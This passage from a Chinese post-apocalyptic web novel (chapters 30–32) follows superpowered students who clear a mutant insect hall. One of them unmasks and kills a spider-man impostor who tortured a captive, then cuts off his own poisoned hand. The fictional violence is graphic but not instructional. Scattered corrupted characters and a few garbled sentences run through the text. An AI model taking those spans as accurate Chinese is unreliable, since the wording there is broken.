门口,林梦之和薛慎也在往里面走。“你进去有必要吗?”林梦之讥诮道。“什么意思?"“这都第三天了,你那同伴多半死得透透的了,我劝你,现在原路返回!”薛慎怔了下,接着笑了,“这就不用你操心了,我俩死一百遍我朋友都不会死。“反倒是你,乌珩那样文弱,你确定你有回去找人的必要吗?"“彼此彼此,我死一百遍我发小也不会死。“两人呛着走,直到X的身影出现。“我草.” 林梦之朝它跑过去,一把把它薅了下来,“找到阿珩了?"“嘎。”X从林梦之手中挣扎出来,在他头上盘旋了一圈,然后又在薛慎头上飞了一圈,朝刚刚来时的方向飞去。“什么意思?”薛慎没养过鸟,完全不懂这只大个头鹦鹉这一套动作下来是在干什么。 两人跟着X,找到了百货超市里的乌珩跟谢崇宜。 看见谢崇宜,林梦之先是愣了一下,怎么是这人? 不过他现在也没空去关注其他人,他站到乌珩跟前,“我就知道你肯定没事。 “老谢。”薛慎喊了声谢崇宜,“没事吧?"谢崇宜正在干啃泡面的面饼,他给薛慎也丢了包过去,“你也吃点儿。薛慎接了撕开,“等会搬两箱泡面出去,反正我们不缺水。” “其他人呢?”谢崇宜问道。“我让他们先回学校了,有沈平安和窦露在,回去路上应该不会出问题,对了,还有个小女孩,我让他们也带上了。”“小女孩?" 乌珩听见小女孩,看向林梦之,“乌芷?" 林梦之点头,“昂,我跟薛慎得回来找你们俩,带上她不安全,那几个在外面干等着也危险,就让她跟他们一起先回学校了。"说完后,林梦之朝谢崇宜看过去,察觉对方也在看自己,他马上把视线缩了回来,低声道:“你之前说要跟谢崇宜一起去京州,那这不歪打正着吗?"“"但我跟你说啊,谢崇自这人我本来觉得不简单,薛慎是个水系异能者,比我强不少,你用几个同学,也不像好东西,我要不是没力法,我都不会把乌芷放到他们手里,你确定我们要一块儿出发?”林梦之上学的时候都设动过这么多脑子。 乌珩则说:“我不会让你跟乌芷有事。“哎哟,我是这个意思吗?”林梦之气得双手比划,差点照着乌珩的脸划出一条火苗出来“林梦之。”谢崇宜咬着面饼,卡嚓卡嚓,“林梦之,是吗?"讲实话,林梦之并不觉得谢崇宜居高临下故意摆架子要威风,但他在大饭店上过班,他知道,有那么一种人生来就是人中龙凤,这种人压根就不会摆架子,因为他只要出现,就是在告诉所有人,他本身就是个架子。“是又怎么样?"林梦之语气不太好,他不想被认为自己跟乌珩很好欺负,总之,如今是末世了,钱啊权的在如今都没那么好用了,他也没什么好怕的。 “火系?”谢崇宜继续问。 “是又怎么样?"谢崇宜看了林梦之一会儿,笑了声,觉得性格或多或少也会影响异能觉醒的方向。 乌珩踢了下地上的几袋花椒,“待会把这些引燃。”“花椒?" 林梦之抓了把花椒到手里,仔细看了看,“这是汉原的花椒啊,粒大肉厚,味麻不苦,不管是做麻椒鸡还是做火锅底料都算最优选择之一了.….他说着说着,周围变得静悄悄的,就连干啃面饼的两人都停下了咀嚼,看着他。林梦之把花椒放回去,拍了拍手,“说吧,引燃干什么?"“丢进爬虫馆。”乌珩指着隔壁几箱杀虫剂,“班长,这些就交给你了。谢崇宜点了下头。 “你们.要干什么?”林梦之下意识跟薛慎对视了一眼,毕竟只有他俩对现在的情况一无所知。 谢崇宜啃完了面饼,他叠着口袋,走到三人中间,淡淡道:“爬虫馆内的变异爬虫体内的能量校能全部拿到手是最好,拿不到,我们也不能留这么个隐患在汉州。 “异能者能变强,它们也不例外,当负一楼满足不了它们的需求时,它们就会离开爬虫馆,离开购物中心。 乌珩对做正义的人和正义的事情都不感兴趣,他感觉自己跟听天书一样。 如果没有能量核,他现在多半已经在回学校的路上。 哪怕汉州变成一个虫子窝,他也不会有所动容。 “薛慎,薛屺在楼下。”最后,谢崇宜才说。 薛慎怔了怔,表情似哭似笑,“你说真的?““真的,乌珩也见到了。”谢崇宜看向正在走神的乌珩,乌珩回过神,他点点头,“被一只变异蜘蛛人困住了,那只蜘蛛是这里所有变异虫类的首脑。"面对着亲弟弟还活着这样的大好消息,薛慎仿佛被砸呆住了,迟迟没有反应过来,等到反应过来时,他转身一脚踹翻了一面货架乌珩眼疾手快,悄然用藤条又将货架扶了回去,还把倒在地上的酱油瓶扶了起来。“我跟爸妈早就说了没必要兼职,他要养虫子就给他买套房子专门养,现在好了,他不如死了干净,省得我们一群人麻烦。薛慎摘下眼镜,大口喘着气,看起来像是要被气疯了。乌珩虽不记得班里人的脸,但是在他的印象里,学委跟生活委员的脾气是出了名的好,薛慎是学委,这么发脾气好像是头一回。“放心,他目前还算安全。”谢崇宜淡声道,“休息会儿吧,三点我们开始行动。 “为什么是三点?”林梦之问道。 “三点是那只蜘蛛人午睡的时间。”乌珩答道。 林梦之:"…死蜘蛛这么讲究?"“那我们也睡,”林梦之看了看四周,“等着,我去抱两床鹅绒被过来,咱铺着睡,我真的得睡会儿了,我昨晚做梦都在打蜥蜴。"薛慎又戴上了眼镜,“轮流休息吧,我出去守着,三个小时换人接着守。”说完,他转身朝百货超市的门口走去,路过收银台时,顺手还拿了两盒口香糖到手里。 乌珩跟谢崇宜面对面一言不发地站着。直到林梦之抱着两床鹅绒被兴高采烈地回来,“我拿的最贵的,两万多一床!”“也真是赶上好时候了,平时我哪睡得上这么贵的被子。 乌珩把脚下的地方让出来,林梦之兴冲冲地拆了被了铺上,他铺了两床,余了一床给谢崇宜,善心大发,“你也睡。“我不习惯跟别人一起睡,找小刁顶岷加八一心性。 林梦之“啊”了声,表情变得难看,正要说这都什么时候了,别那么事儿,再事儿滚.但谢崇宜又道:“乌珩,你睡中间,我挨着你睡。 30、第30章 林梦之倒没想那么多,正好,他也不想挨着谢崇宜, 各白躺下后,乌珩闭上眼睛。 “阿珩,现在的爬虫馆里面是什么样子?”林梦之光是想到昨天那些铺天盖地的虫子都浑身起鸡皮疙瘩。 “不知道,我们没进去看过。”乌珩答道。 “那待会儿咱们怎么操作? 乌珩睁开眼,他余光从一旁谢崇宜脸上扫过去,对方似乎已经睡着了。 “负一楼有两个出入口,我跟班长各守一处,你跟着谁?" “我肯定跟着你啊,我都不认识他。”林梦之想都没想就说。 乌珩:“那薛慎跟班长。 “那肯定啊, 薛慎说他俩哥们儿,铁哥们儿!”林梦之又很肯定地说。 下午三点,日光斜射于购物中心上空,空气中弥漫着一股不知名的腐肉恶臭气息。 薛慎提前醒来,在百货超市的角落翻找到了几剧防浓烟的面罩,他先分给了乌珩和林梦之,后面给谢崇宜递去一副,开口说道:“林梦之和乌所一起了,那需要引燃的东西就交给你们了,对了,乌珩你有异能吗?" 林梦之刚想开口,乌珩看了他一眼,谢崇宜则是轻笑了一声,没说话。 “不算厉害。” 薛慎是比谢崇宜还懂分寸的人,他知而不问,点头道:“好的,那你们两个注意安全。 乌珩拆开面罩,面罩是简易式的,但该有的配件一应俱全,他低头将面具戴上,拉紧固定带,瞬间,他听见了自己低缓的呼吸声。 他抬起头时,谢崇宜不知道什么时候走到了他的面前,隔着眼罩看谢崇宜眼罩后的眼睛,头一次,乌珩在一双本该潋滟柔情的桃花眼后面看见的是凶残。 谢崇宜朝他伸手,乌珩站着没动。 男生用手掌覆住了乌珩面罩的进气口,跟他说:“吸气。 乌珩垂眼吸了口气。 谢崇宜放下手,看向林梦之,“你也检査一下你的面罩有没有漏气。 “原来这是检查漏气啊,我还以为干嘛呢。”林梦之捂住两边进气口,狠狠吸了一口,差点背过气去。 "准备好了就出发。”谢崇宜揽着乌珩朝外走,他低头,声音混沌不清,“期待你的表演。 大概是薛屺在底下的卧底工作干得好,几人制造出来的动静不小,却没有惊动一只虫子。 乌珩蹲在消防通道的台阶上,他目光淡淡地看着负一楼的入口,入口处干干净净,没有变异蜥蜴蹲守,但遍地狼藉,且一直有恶臭味飘出。 手中藤蔓钻出一段,柔软无骨地贴上乌珩的脸,“等梦之把那些东西引燃丢进去后,我们把门堵死,”他语气平静,“能做到吗?"藤蔓也不知道自己能不能做到,它掉头,沿着台阶蜒向下,钻入两扇门的缝隙藤蔓开始蔓延,疯长,它的养分与能量来自于乌珩身体内部,它的精神力量也取决于乌珩的精神力量。半分钟不到的时间,藤蔓悄无声息地扎入地底,又顺着墙壁,牢牢地依附住天花板,只溜了一个黑黝黝的入口方便让林梦之丢东西进去。虽然不是第一回看见它,可面对面地打照面是第一回,一想到自己发小身体里居然藏着这么庞大的一种植物,林梦之就觉得这比自己能喷火还要魔幻。 吊在门口的芽尖朝门内指了指,催促林梦之赶紧的。林梦之将二十几袋花椒踹进门,另外还有洋葱大蒜,这些都是驱虫杀虫的好东西.他理了理衣领,“看好了!” 只见林梦之将双手举过头顶,一团拳头大的火球在他掌心出现,火球很快膨胀了起来,热浪瞬间席卷了楼道。“”乌珩默然后,说道:“差不多可以了,我也怕火。" “差点忘了。”林梦之接收到信号,正要将手中火球丢出去,里面就传来了一阵急促的脚步声,有东西跑出来了。 乌珩收起散漫的表情,站了起来,门上落下一条藤蔓,笔直地对着声音传来的方向。 抹耀眼的蓝色出现,巨大的蓝色蜘蛛在接近门口后快速转变成人形,“是我。”薛屺小跑出来林梦之眼睁睁地看着一只门板那么大的蜘蛛一眨眼变成了一个跟自己差不多年龄的男生,他受到了巨大的冲中击,因为乌珩就算不人不藤,却也没有直接变成了一根儿藤, “梦之,这是薛慎弟弟。”乌珩说道,“可以烧了。" 林梦之日光从男生身上收回,火球滚进室内,舔舐上提前准备好的易燃物时,轰一声,火舌与浓烟同时涌出。 藤蔓缠缚着两扇门,缓缓合上,然后在瞬间铺满了正面墙壁。 它自觉一层又一层地加固。 直至门内传来一道“砰”的声音,有东西冲过来了! 乌珩起身,他雪白的皮肤底下出现模糊的青色的脉络。 藤蔓从墙壁朝四面八方生长。 薛屺看着长到了自己脚下的植物,不禁狂咽口水,“外面的世界已经发展到这种地步了吗?他又去看乌珩身后的林梦之,“你会用火?太牛了吧。"林梦之想说“没你牛,你能变蜘蛛”,但眼下没空也没心思。 门内的撞击声变得越来越猛烈,一阵强过一阵,爬虫的嘶鸣声听得人胃疼。 “咔嚓”。乌珩眸子微眯,“门被撞碎了。” 林梦之他们不明情况,只目不转睛地看着,藤条抽出了一部分对朝它进行撕咬的爬虫发起了疯狂的反击。被熏得晕晕乎平的虫子,攻击力下降了不少,藤条刚好也只刺杀头部和心脏。藤蔓自给自足,门外翠绿一片,生机盎然,门内部分却已经被变异爬虫的鲜血浸染透了,温热鲜红。它速生长,抽生时的每一道咯咖志都使它变得比上一秒要加疯狂租壮,也更加贪婪塔血,它舞动着越发灵活的身躯,如杀神附体,将本想冲出去的变异爬虫吓得魂入晚散,转身朝更深处逃审去,除蔓顿了一下,挺身狂追,泉妇被高高场道来如同巨型石柱的藤条拍得一团团肉泥,更细的藤条随即将地面清扫一空,摇身一变成了新的刀刃。门内世界血肉横飞,空气中溅起血雾,俨然是杀戮者的一场狂欢。 乌珩垂在身侧的手指抖了抖,他无声喟叹,平时郁然的面孔在此刻竟然显得光彩照人。 啊,好饱。 “怎么样了?”林梦之只听见虫鸣远去,并不知道里面具体是什么情况。 乌珩声音有些沙哑,“还好。吸附在入口处的藤蔓防护墙慢慢松散,血水从各处缝隙里淌出,抽回来的藤蔓悉数被染得通红。门内已经变得静谧无声。最后一根藤条收回来时,它懒洋洋的,像是撑得快要晕过去了,尾端还载着两片嫩黄嫩黄的叶子它直接盘到了乌珩的肩膀上,顺便还用X的羽毛擦了擦身上残留的血迹。乌珩眸子看着下方,顿了会儿,他朝林梦之看过去,“我们进去检查。说完后他又朝薛屺看过去,“这里你熟,你带路吧。 薛屺从少年温婉秀气又带着一丝血腥味的气息中回过神,他胡乱点了几下头,“没问题。“被蜘蛛咬了。"".”林梦之噎住,表情一变,“凭什么他拿蜘蛛侠的剧本?"“他是蜘蛛人。"走进负一楼,脚下说是尸横遍野也不为过,虞美人虽然贪食,可一次性也吃不下这么多鲜食,它大概是只捡了最好的部分吃,残骸留了一地。 林梦之喜不自胜地开始到处刨能量核。 乌珩紧跟在薛屺身后,“空气里的味道是不是很难闻?"薛屺被这一片的变异虫尸体惊得魂不附体,在见到乌珩第一面时,他完全没从对方身上看出如此恐怖的实力。末世才开始多久,许多人估计连血都还见不得,异能是什么都还没搞清楚,他却能在面对这么多变异爬虫时面不改色地对它们进行居戮。而且薛屺能看出,对方是享受的这种心理素质太恐怖了,简直是变态!“岂止是有点,是非常难闻,还有一股让我闻了想死的杀虫剂味道。”薛屺已经感到有些头晕了。“薛慎在另一个入口用的是杀虫剂。”乌珩说道。“我哥打算把我跟这些虫子一块儿埋在这儿吗?”薛屺无语道,脚下跟跄了半步。没等他站稳。 噗呲。 薛屺身体猛地僵直,疼痛后知后觉。 他低下头,看着从自己身体中间刺出来的藤刺,他艰难扭头,“我草” 乌珩眼下落下两片阴翳,他走到男生背后,轻声道:“你不是薛屺。在对方不可置信的目光中,乌所继续说下去,"第一次你找上我们是应巧5,第二次也是础巧,第一次呢,动植物的五感最灵敏不过,爬生馆我是然没来过,但是我如道负一楼的两个入口,我所在的这一个入口位置要更信,况目,你不去找崇宜,来找我做什么?" 薛屺脸色惨白,“尼玛,也是碰巧不行吗?! 乌珩下巴看似抵着薛屺的肩头,他冰凉的手指捏住薛屺的脸迫使他转向自己。少年指间骨骼吱吱作响,薛屺的五官痛成一团,眼中含泪。“你知道薛慎来了,你不敢单独去见他,你怕被他认出来,毕竟薛慎薛吧是双胞胎,我眼谢崇宜分辨不出,他不可能分辨不出来,你想着,带上我和另外一个,到时候总有人帮你说话,说不定就能细弄过去了。薛屺咬牙切齿,“你瞎说什么?"乌珩甩开薛屺的脸,但却并没有甩开薛屺的身体,而是用藤蔓将他缠缚了起来,一路拖到了爬虫馆的最深处,。在一个尺寸大得可怕的标本柜前,标本的后面是一幅姆子的水彩画,蝎子的尾刺朝下指着标本柜,而标本柜里钉着一只颜色跌丽明亮的巨型蓝色蜘蛛,比乌珩上午见到的蓝蜘蛛要漂亮多了。看见这一幕,乌珩手里的男生喘出一口粗气,表情愤怒扭曲,他摇着头,“不可能…不可能!你怎么发现的?!"乌珩一言不发,敲了敲标本柜。pppp。 蓝蜘蛛的长足抖了一下,连带着圆滚滚的腹部都颤了两下。 它抬起头,眼神迷茫痛苦。 正版薛屺。 31、第31章(2w营养液加更) 富二代是最令人讨厌的生物,曲言从在爬虫馆工作开始就这么觉得。 他望着乌珩的脸,笑得粲然,“本来还以为没人能发现得了,你,不错。他又垂头,片刻后再抬起头时,洋洋得意,“你发现了又怎样,我折磨了他一个多星期,我很爽啊!我很值啊!"他的面孔底下,反复出现蜘蛛的几对瞳孔。薛屺嘴唇动了动,声音微弱得约等于无声,“小心。乌珩用力甩开男生时,手背上已经留下了两个发黑的齿洞。 0座道巨响,一只比蓝蛛大了两倍还有多的黑色蜘蛛出现在了乌珩的不远处,它几对眼睛血红,比身体长一倍的几只腿闪烁着坚硬冰冷的光,如铁一般将蜘蛛巨大的身体稳稳地焊在天花板上这个角度看上去,蜘蛛的后背有一抹鲜艳的红色。乌珩想起上午对方说的,店长是一只变异的红背蜘蛛。不仅如此,在没有变成蜘蛛前,对方还想要咬人,丧尸,蜘蛛.它悬挂在少年头顶,整肢撞得铛铛响,涎水一滴一滴掉下来。乌珩在它作为人形时留下的伤口还能看见,但微小得可以忽略不计,对它似乎也没造成什么影响。在它的眼中,乌珩立于地面的姿仪格外渺小,又有些,令人心生向往他梦寐以求成为的人应该就是如此,即使面对即将降临在自己头上的死亡,也依然不改其色“你到底是怎么知道他在这儿的?!”曲言目眦欲裂。 乌珩:“我看见的。" “看见的?”曲言换了个怪异的角度盯着少年,“我们明明都在外面,你怎么看见的?" 乌珩没说话,他手臂垂下,X立刻振翅飞到了一旁标本柜上眼前几抹绿色闪过。“你很快就知道了。”七八条藤蔓如箭矢般朝天花板上的黑蜘蛛刺去黑蜘蛛纵身一跃到了标本柜柜体上,它扫了眼天花板上那几个被藤条捅出来的窟窿,脑子里闪出一个模糊不定的猜测。它用整肢对着玻璃,威胁道:“我杀了他。 乌珩表情平静,脚下绿色如浪朝标本柜滚卷去“你要杀他是你的事,我要杀你是我的事。 曲言心想,乌珩既然能为了薛屺从背后刺伤自己,那多半很在乎薛屺死活 曲言没想到乌珩居然完全不在意薛屺,他跳到了隔壁柜台,身下玻璃碎裂,与碎裂声同时响起的是蜘蛛丝划破长空的声音。 乌珩扬手,藤蔓立刻缠住蛛丝往地面狠力一拽,藤条锤击地面,地砖应声破裂,而从下方藤条缠绕着柱体而上,悄无声息攥住蜘蛛的几只腿,将它直接从柱子上拽了下来。 蜘蛛重重摔落在地。 蛛丝脱离,黑蜘蛛迅速挥动整肢,藤条登时就被切断一大半。连续几道砰砰砰声,藤条刺出的速度使人完全看不清它的方向,黑蜘蛛的身体被刺到了好几下,但都是皮外伤。乌珩再出手时,发现藤蔓走到一半便脱了力,他手指发麻发抖,马上收回。曲言在柱子上转身,挺着蜘蛛特有的大肚囊慢悠悠又爬上了了最顶端,“乌珩,毒性发作了哦。他爬了上去,居然开始不紧不慢地织蛛网。“如果我没猜错的话,让你发现薛屺的就是你身体里这个东西吧,你们,共生了,所以它感觉到的,你也能感觉到,它看见的,你脑海里也能出现影像,否则,我实在是想不到你怎么知道我把辞上藏在了馆内最深的标本柜里。“”如果你没有发现的话,不出意外,现在我已经替代了薛屺,我们应该会成为很好的朋友,因为我还挺喜欢你的。“忘了告诉你,我的名字叫曲言。”蜘蛛露出来一张死白的人脸对下方的少年笑。 对方看起来年纪也不算大,目测不会超过三十岁。 乌珩垂眼极快地扫了眼自己被咬了一口的手背,手背已经泛起一层乌黑,并且这种奇异的黑色正在从下至上缓慢地流淌。 他的身形单薄,面容苍白, 表情依旧不咸不淡。 曲言窸窸窣窣认认真真地织网,一边织一边说:“实际上我也没做什么坏事,不是吗? 薛好这个人,我一开始很看好的,性格开的,工作也认真,上下班从不迟到早退,直到有一次发工资,我记得他的工时只能拿到三千二百八十块,他拿到了钱,立马就请了爬生馆所有员工喝下午茶,我看了账单,那一次下午茶他总共花,千六十八块,你知道这种感觉有多讨厌吗?"事实上,我不是仇富,我也有我的骄傲,我只是厌恶像薛屺这一类人身上的不知人间疾苦感,谁的手里没有本难念的经,他若一定没有,我给写上一本不就是了,你看,他现在是不是懂事多了?"“现在的世界是一个弱肉强食的世界,薛屺技不如人,我还留了他一命,怎么看,我都像是在做慈善嘛。 三万- 乌珩根本没有听进去他在说什么。 谢崇宜他们怎么还没过来,他碰上神经了。 曲言很快就给给网织了个雏形出来,接着它绕着中心一圈一圈地转,这张网足以挂十几个人类上去了。 “我猜,你是在等他们找到你,放心吧,他们被我的异能影响了视觉感官,他们就算从你身边路过,也无法看见你。 “就像你们之前把我看成是薛屺一样,其实我从头到尾都是曲言啊。 他织出来的网细密雪白,看着简直不像是一张网,而像是一张密不透风的白布。 乌珩看着,都不用想,也知道这是特意给自己织的。 曲言将身体悬挂在了网上,他从上面俯视着乌珩。 少年脸上的面罩早就掉了,额前湿发散落,没有什么生气的眼神,使他站在那里,像一缕脆弱的、即将要散去的幽灵。曲言不禁往下爬了一段,在拉近与乌珩的距离后,他说:“我现在给你一个机会。"“1,你亲手去杀了标本柜里的赝品,之后我就是薛屺,我们就是朋友了。"“2,我亲手去杀了标本柜里的赝品,还有你,之后我依旧是薛屺。“ “你选。 乌珩朝不远处的标本柜看过去。 坦白讲,蓝物蛛的颜色异常鲜艳明丽,即使在黑暗中,也散发着出出的光,腿上的魏毛肉眼可见的柔软,不过也有可能是因为薛屺被关了太久,身体虚弱的原因导致他看起来没有任何的攻击性,不像怪物,仅像标本。 “我最怕麻烦。”乌珩启唇,口吻冷淡。 “你选好了?”曲言眼底浮现出难以掩饰的兴奋,他身后的蛛网都连连抖动, 乌珩说:“我又不认识薛屺,我还不想死。" 他说着,用没有被咬伤的那只手拿出随身携带的弹簧刀,刀刃弹出的同时,他以迅需不及掩耳之势的速度将整段刀刃直接播入了曲言的口器,一声嘶叫声后,乌珩被整肢挥出十几米远。 胸口仿若被百斤巨石重砸,乌珩趴在地上,不停咳,口中漫出血腥味, 哒哒,哒哒。 通体漆黑的黑蜘蛛移动到了他的身前,以乌珩的视角,对方简直堪比一头巨兽,它从上像是在对自己进行审判,长足伫立在它的身躯四周,像一根根往头,只要它任意治起一条腿再放下,就能将自己的头领碾得稀碎。 曲言举起了自己的锯了一样的整肢,冷笑道:“给脸不要脸。" 他重砍下来时,乌珩眼疾手快,一个翻滚滚到了一旁,不带任何犹豫,乌珩手中刀刃一转,中毒的那只手被他直接切了下来。 他爬起来将自己手掌一脚踢开。 疼痛与麻痹被乌珩一刀截断,毒性无法再抑制藤蔓发挥,它们疯了一样朝黑蜘蛛刺去,如同流星雨。 周围的展示柜被撞得一个接一个倒下去,玻璃接连碎裂迸溅,悬挂在墙壁上的挂画与人工培育的假山假水在眨眼间被毁于一日。 地板碎块四溅,地面开始往下塌陷。 粗粗细细的藤蔓在地面以上掀起巨浪,藤蔓的主杆如巨蚺快速绕上石柱,它深扎地下,监控着黑蜘蛛在馆内的动向。 乌珩靠着墙,他的脸白得惨烈可怖,满室涌动的藤蔓被他的脸色反射出一种阴冷的绿。 突然间,他睫毛颤了颤,身前遮天蔽日的藤条让出一条空隙,一只蜘蛛被攥着几条腿,倒着拎到了他的面前。 曲言冷嗤了一声。 顷刻,蜘蛛的胸口处被一柄刀贯穿,蜘蛛的胸口像是空心,乌珩不太确定,与曲言耳语,曲言一声一声地笑,偌大腹部起起伏伏,整肢想要切割却无能为力,“为了钱么?" “能量核是在这儿吗?你的能量核,一定能解你的毒,正好,是木属性。 “我不认识他,我也不认识你,但你撒谎,还威胁我。”乌珩手指抚摸着黑蜘蛛后背上那块猩红,“事实上,我根本不确定我看见的薛屺是不是真正的薛吧,我也不敢保证你就是假的。" 曲言眼神一震,死盯着乌珩,“你 乌珩抿唇一笑,文秀极了,“我只是想试试,死了就死了,错了就错了,你们谁死谁活,与我关系不大。"“找到了。”乌珩眼睛一亮,他拔出刀丢到一边,直接将手伸进了蜘蛛的身体里,将那颗散发着绿色光芒的能量核取了出来。这是他自末世以来得到的颜色最深的木系能量核。可如果要评级的话,应该也只有d。他没觉得曲言有多厉害,只是红背蜘蛛毒性高而已。曲言再也发不出声来,它身体柔软下去,从四周涌来的藤蔓立马就将它瓜分殆尽。乌珩将能量核吸收后,重新接上手掌,疼是疼的,手腕还留下了一圈鲜红的线痕。 不知道是不是因为曲言的异能还没有消散,周围人声尽无 乌珩拾步走到了标本柜前,他用手试着打开柜门,没锁,直接便打开了, “你能变成人吗?" 现在这个样子,太大了,也太不方便了。 薛屺看着乌珩,眼底有敬服也有淡淡的畏惧,“可以,但是….我腿上有钉子,要先拔出来。"乌珩朝他的几条蜘蛛腿看去,每条腿上都钉了一颗手指粗的金属钉。他抬手,藤葛如发丝般飘过去,轻柔地分别卷住钉子。刚往外拔,薛屺就发出一声痛不欲生的惨叫。 乌珩被薛屺用整肢拼死搂住,他不冷不热,“忍一下。" 话音刚落,几枚金属钉被拔出,钉头带出几滴鲜血,薛屺换成人形,倒在乌珩肩膀上痛得一时停不下来抽搐. 乌珩朝他的腿看过去一眼。 膝盖以下的牛仔裤部分已经变了颜色,血将布料染透,颜色已然发黑。 “你认识我哥,别告诉我哥,”薛屺艰难地说道,“你别跟他说我是蜘蛛人,说我是蜘蛛侠,蜘蛛人听起来像个怪物。 薛屺刚说完,远处传来林梦之的声音。 “阿珩!”林梦之一脸的惊慌,“你他妈跑哪儿去了?我跟他俩找了你半天,吓死我了.……不是,你脸色怎么差成这样?!像个鬼!" “没事。”乌珩看向朝他们走过来的谢崇宜和薛慎,他让到一边。 薛慎看见薛屺,满肚子责骂的话消失得无影无踪,他小跑到薛屺面前,“怎么搞成这样?林梦之不是说你混得还行吗?" 薛屺哭丧着脸,“哥,我腿废了,曲言每天放我的血喝! 空气明显凝固,接着林梦之“草草草草草草草”了十几遍,“反人类啊! 乌珩不参与讨伐和批斗,当法律失去监督者和执行者,秩序道德崩塌,人类的动物性凌驾于一切甚至成为人类行为的主导者,是早晚的事情。 他靠在一旁休息,处于恢复期的手臂酸软发痒。 他又揉又挠,并未察觉跟他隔了一个人的谢崇宜连续看了他好几眼. 爬电馆被端掉后,几人终于得以放松欲后 “去超市弄点水,把身上洗了,再换身干净的衣服,我们现在都臭得可以。 超市有现成的大桶矿泉水和洗漱用品,乌拎着桶水在生鲜区格外认真地搓洗身上,他手边搁着身睡衣,也是在超市拿的现成的。 他洗,X也跟着站在旁边沾点水,抖抖毛,它也脏,虽然不干活,可总有人拿它当毛巾使。 谢崇宜走过来时,乌珩网给他小白鱼一样的身体套上布料柔软的格子睡衣,后者此时正低头拾掇着脏衣服,一脸的犹豫,估计是在发愁还要不要,鞋子估计是真舍不得,提前就拎在了手里。 “行了,”谢崇宜走过去,把他的脏衣服和破鞋子夺了一丢,“楼上多的是。 乌珩认为这是奢侈浪费的不良作风。 "薛屺怎么样了?”他不关心薛屺,他就是跟谢崇宜没什么话说,他跟谁都没话说,所以捡到什么说什么。 谢崇宜穿着身深灰色的纯棉睡衣,要不是十分清楚现在是什么时候,他看起来活像是起床晚了浑然不顾路人眼光穿着睡衣逛超市的哪家少爷。 提起薛屺,他语气微顿,“如果我们之中还会有人觉醒异能的话,薛慎最希望觉醒的应该是再生,或者治愈一切的能力。 这么说,乌珩就明白了。 薛屺的腿大概是真的废了,用不了了。 “你为什么不跟我说曲言的事?”走过几个货架,谢崇宜无情无绪的声音忽然响起。 ''曲言什么事?”乌珩迟疑又不解。 谢崇宜转头看了乌珩一眼,他知道乌珩爱装,但装模作样总要有个限度 算了,本身跟自己也没什么关系。 “没什么。”谢崇宜语气变得冷淡,大步朝前走去。 乌珩追了几步,逐渐停了下来,他站在原地,仔细想了想,对谢崇宜的态度转变没有任何头绪。 乌珩不需要朋友,自然也不需要处理人际关系,这对他来说是个麻烦,可谢崇宜不一样,谢崇宜是食物。林梦之此时在楼上挑潮牌挑得正欢,暂时也没空给他解答关于怎么处理人际关系的问题。乌珩垂眼,表情变得堪称温顺乖巧,保持一阵后,他朝谢崇宜追去 他的表情从迈出步伐时便没变过,直到追上谢崇宜,还是之前那样一副伪作出来的温顺.“你帮我挑挑衣服。”他挡在谢崇宜面前小声说道。少年刚洗过脸,自然也洗过身体,脖颈和脸白皙温润得像象牙,怎么看怎么无害,像迎风就摇晃不稳的柔弱柳枝,又像飘在河面的芦花。但谢崇宜却回想起了刚刚薛屺说的。“那个乌珩,对自己好狠,直接剁手啊!说剁就剁!不是他什么东西啊,怎么手断了还能接回去,之前信息时代发展得也没这么快啊。"谢崇宜不由白主地朝乌珩的两只手看过去。薛屺没说具体是哪只手,所以乌珩刚刚是剁了自己哪只手?他知道乌珩心肠黑,他说过,他们是同类,但谢崇宜着实没想过乌珩对自己,竟然与对旁人没区别。谢崇宜欣赏这类人,但谈不上喜欢。这样的人带在身边,就跟随身揣了枚定时炸//单一样危险。这样想着,谢崇宜的眼神和语气都带了些微的不善,只是难以看出。因为谢崇宜心情好的时候冷冷淡淡,疏离清贵,心情不好的时候反而面带笑意,不细看还好,细看令人心头发寒。乌珩就没细看,他睫毛往下垂落,一副理亏的样子。越看越让人来气。“你让我给你挑衣服,”谢崇宜微微俯身,偏头望着乌珩的眼睛,"挑裙子你穿不穿? 少年呆了呆,随即点头,“好。” 32、第32章 "行。乌珩跟在谢崇宜后边走上电梯,楼里没有丧尸的影子,亮亮堂堂又空旷无比,两人都没有说话,耳边时常能听见林梦之激动的嚎叫。“哎哟我靠我要那件骷髅头的,太他妈酷了!"“我要把这些五金全背走,每天换着戴!"“真贵啊, 一个破银戒指两干块 林梦之他们明显处在男装所在的楼层,谢崇宜却带着乌珩步入到了一家专营青春少女服饰的店内。 店里装潢主用了浅绿和奶黄,衣裙一眼看过去也尽是小清新的颜色,设计却前卫又大胆,布料也都用得不是很多。 乌珩跟在谢崇宜后面走,对方忽的停下,他差点撞上去。 谢崇宜转过身,手里拎了一条不知道什么取到手里的泡泡袖公主裙,但裙长短得可怜,谢崇宜修长挺拔的身形映着它,更显得它像极了一件上衣,而不是裙子。乌珩暗自磨牙后,抬起眼睑,“泡泡袖显胖。“你懂得还挺多。”谢崇宜将衣服又挂了回去。走了两步,谢崇宜又喃喃自语,“差点忘了,你有个妹妹。乌珩只想,谢崇宜不愧是班里的班长,连班里同学家中有几口人都知道,“这件?”谢崇宜觉得自己算脾气好了,耐心也不错,还允许乌珩挑自己喜欢的但明显,乌珩一件都不喜欢。谢崇宜脸上笑意深了几分,不喜欢就好,不喜欢他也不会带对方进来。看着眼前的蓝白格子裙,裙摆是变长了,估计能拖到地面,但是,这是个抹胸裙,“尺码不合适,女生骨架都比较小。"谢崇宜哦了声,把衣服挂了回去,警了眼乌珩,“你骨架不大。”过后,男生又突然问,“你是不是营养不良?" 乌珩微微错愕了一下,“有一点。 谢崇宜面色上什么情绪都不显,只一味地挑选漂亮裙子。看着那些颜色靓丽可布料少得可怜的女生衣服,乌珩难得产生了心惊胆战的感觉, “这一件呢?”谢崇宜拨开货架两边其他的裙子,懒得将衣架取下。 乌珩看了看,是一条运动风的连衣百褶裙,也短,可没有像第一条裙子那么短,还是长袖,还是系扣polo领. 他不喜欢,他得好好挑挑毛病。 “白色,容易脏。”乌珩嗫嚅,温顺得简直快让人不忍心为难他了。 